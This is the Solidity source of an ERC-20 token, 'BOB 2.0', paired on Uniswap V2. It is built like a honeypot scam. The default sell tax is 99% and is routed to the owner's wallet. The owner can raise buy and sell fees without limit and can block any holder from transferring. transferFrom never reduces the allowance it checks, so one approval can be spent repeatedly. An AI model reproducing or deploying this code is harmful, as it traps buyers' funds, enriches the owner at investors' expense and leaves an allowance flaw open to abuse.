文件 1 的 1:BOB2.sol
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = address(_msgSender());
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract BOB2 is Ownable, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcludedFromWalletHoldingLimit;
mapping(address => bool) private _isAutomaticMarketMaker;
mapping(address => bool) private _isAccountLimited;
uint256 public _decimals = 18;
uint256 public _totalSupply = 690 * 10**6 * 10**_decimals;
string private _name = "BOB 2.0";
string private _symbol = "BOB2.0";
address public immutable DeadWalletAddress =
0x000000000000000000000000000000000000dEaD;
address payable public MarketingWalletAddress;
uint256 public _BuyingMarketingFee = 20;
uint256 public _SellingMarketingFee = 99;
uint256 internal feeDenominator = 100;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool internal inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public numTokensSellToAddToLiquidity = (_totalSupply * 150) / 10**4;
uint256 public _maxWalletHoldingLimit = (_totalSupply * 2) / 10**2;
event MaxWalletHoldingAmountUpdated(uint256 updatedMaxWalletHoldingAmount);
event AutomaticMarketMakerPairUpdated(address account, bool status);
event BuyingTaxFeeUpdated(uint256 TaxFees);
event SellingTaxFeeUpdated(uint256 TaxFees);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ETHReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
_balances[owner()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
MarketingWalletAddress = payable(address(msg.sender));
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromWalletHoldingLimit[owner()] = true;
_isExcludedFromWalletHoldingLimit[uniswapV2Pair] = true;
_isExcludedFromWalletHoldingLimit[address(this)] = true;
_isAutomaticMarketMaker[uniswapV2Pair] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint256) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"IERC20: decreased allowance below zero"
);
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function ExcludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
}
function IncludeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
}
function IsExcludedFromTax(address account) external view returns (bool) {
return _isExcludedFromFee[account];
}
function isExcludedFromWalletLimit(address WalletAddress)
external
view
returns (bool)
{
return _isExcludedFromWalletHoldingLimit[WalletAddress];
}
function excludeFromMaxWalletHoldingLimit(address account)
external
onlyOwner
{
_isExcludedFromWalletHoldingLimit[account] = true;
}
function includeInMaxWalletHoldingLimit(address account)
external
onlyOwner
{
require(
account != uniswapV2Pair,
"You can't play with Liquidity pair address"
);
_isExcludedFromWalletHoldingLimit[account] = false;
}
function UpdateAccountLimition(address account, bool status)
external
onlyOwner
{
_isAccountLimited[account] = status;
}
function isAccountLimited(address account) external view returns (bool) {
return _isAccountLimited[account];
}
function UpdateWallets(address payable newMarketingWallet)
external
onlyOwner
{
require(newMarketingWallet != address(0), "You can't set zero address");
MarketingWalletAddress = newMarketingWallet;
}
function UpdateBuyingTaxFees(uint256 newMarketingFee) external onlyOwner {
_BuyingMarketingFee = newMarketingFee;
emit BuyingTaxFeeUpdated(_BuyingMarketingFee);
}
function UpdateSellingTaxFees(uint256 newMarketingFee) external onlyOwner {
_SellingMarketingFee = newMarketingFee;
emit SellingTaxFeeUpdated(_SellingMarketingFee);
}
function UpdateNoOfTokensSellToGetReward(uint256 thresholdValue)
external
onlyOwner
{
numTokensSellToAddToLiquidity = thresholdValue * 10**_decimals;
emit MinTokensBeforeSwapUpdated(numTokensSellToAddToLiquidity);
}
function removeWalletHoldingLimit() external onlyOwner {
_maxWalletHoldingLimit = (_totalSupply * 100) / 10**2;
}
function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"IERC20: transfer amount exceeds allowance"
);
return true;
}
receive() external payable {}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "IERC20: transfer from the zero address");
require(
recipient != address(0),
"IERC20: transfer to the zero address"
);
require(
!_isAccountLimited[sender] && !_isAccountLimited[recipient],
"Sorry your account is limiited"
);
require(_balances[sender] >= amount, "You don't have enough balance");
if (
!_isExcludedFromWalletHoldingLimit[recipient] && sender != owner()
) {
require(
balanceOf(recipient) + amount <= _maxWalletHoldingLimit,
"Wallet Holding limit exceeded"
);
}
uint256 totalTax = 0;
if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
totalTax = 0;
} else {
if (_isAutomaticMarketMaker[recipient]) {
totalTax = (amount * (_SellingMarketingFee)) / (feeDenominator);
} else if (_isAutomaticMarketMaker[sender]) {
totalTax = (amount * (_BuyingMarketingFee)) / (feeDenominator);
} else {
totalTax = 0;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >=
numTokensSellToAddToLiquidity;
if (
!inSwapAndLiquify &&
recipient == uniswapV2Pair &&
swapAndLiquifyEnabled &&
balanceOf(uniswapV2Pair) > numTokensSellToAddToLiquidity
) {
if (overMinTokenBalance) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapTokens(contractTokenBalance);
}
}
uint256 amountReceived = amount - (totalTax);
_balances[address(this)] += totalTax;
_balances[sender] = _balances[sender] - amount;
_balances[recipient] += amountReceived;
if (totalTax > 0) {
emit Transfer(sender, address(this), totalTax);
}
emit Transfer(sender, recipient, amountReceived);
}
function swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
swapTokensForETH(_contractTokenBalance);
uint256 MarketingBalance = address(this).balance;
if (MarketingBalance > 0) {
MarketingWalletAddress.transfer(address(this).balance);
}
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
}